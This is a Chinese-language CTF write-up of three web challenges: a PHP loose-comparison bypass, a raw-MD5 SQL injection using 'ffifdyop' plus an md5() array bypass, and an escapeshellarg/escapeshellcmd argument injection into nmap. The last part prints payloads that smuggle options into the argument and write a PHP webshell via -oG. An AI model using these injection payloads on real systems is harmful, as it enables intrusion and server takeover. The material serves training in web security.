[ACTF2020 新生赛]BackupFile
题目开始提示找源码,直接index.php.bak下载
弱比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0
此处$str的值开头数字为123,所以$key传123就能获得flag
如果不是数字则传0
[BJDCTF2020]Easy MD5
响应报头里面提醒了查询语句是
ffifdyop
可以看得出来,如果我们把ffifdyop作为password的值传进去,语句就会拼接成
select * from 'admin' where password='' or '6[乱码]
变成了永真式
md5()
过完之后页面跳转,给出了源码
md5()要求传入的是字符串,如果传入数组,md5()就会返回NULL,通过这点,传$a[]=1,$b[]=2就能绕
再次跳转,先看源码
没区别,post传参就出flag了
[BUUCTF 2018]Online Tool
从源码看得出关键在escapeshellarg和escapeshellcmd两个函数里面
escapeshellarg()+escapeshellcmd()
escapeshellarg
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
说明
escapeshellarg ( string $arg ) : string
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
escapeshellcmd
(PHP 4, PHP 5, PHP 7)
escapeshellcmd — shell 元字符转义
说明
escapeshellcmd ( string command ) : string
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}, \x0A 和 \xFF。 ' 和 " 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
漏洞
这两个函数一起用的时候,会造成特殊字符逃逸
假如传入127.0.0.1' -v -d a=1,先经过escapeshellarg处理,转义单引号,然后用单引号把左右两部分括起来,就变成了'127.0.0.1'' -v -d a=1',然后经过escapeshellcmd,对字符串里面的\和a=1'处的单引号进行转义,变成'127.0.0.1\'' -v -d a=1',最后匹配单引号得到的结果就变成了
127.0.0.1\ -v -d a=1'
回到题目,nmap有一个参数-oG可以实现将命令和结果写到文件
在host里面传一个马,挂个菜刀在根目录就能找到flag
<?php phpinfo();?> -oG text.php
//拼接结果
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php phpinfo\(\)\;\?\> -oG text.php'
' <?php phpinfo();?> -oG text.php
//拼接结果
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php phpinfo\(\)\;\?\> -oG text.php\'
' <?php phpinfo();?> -oG text.php'
//拼接结果
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php phpinfo\(\)\;\?\> -oG text.php'\\'''
' <?php phpinfo();?> -oG text.php '
//拼接结果
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php phpinfo\(\)\;\?\> -oG text.php '\\'''